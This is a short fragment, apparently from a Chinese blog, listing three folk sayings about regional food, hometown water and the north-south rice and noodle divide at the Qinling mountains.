◆食在广州,住在苏州。
◆美不美,家乡水;亲不亲,故乡人。
◆秦岭山脉一条线,南吃大米北吃面。
订阅:
博文 (Atom)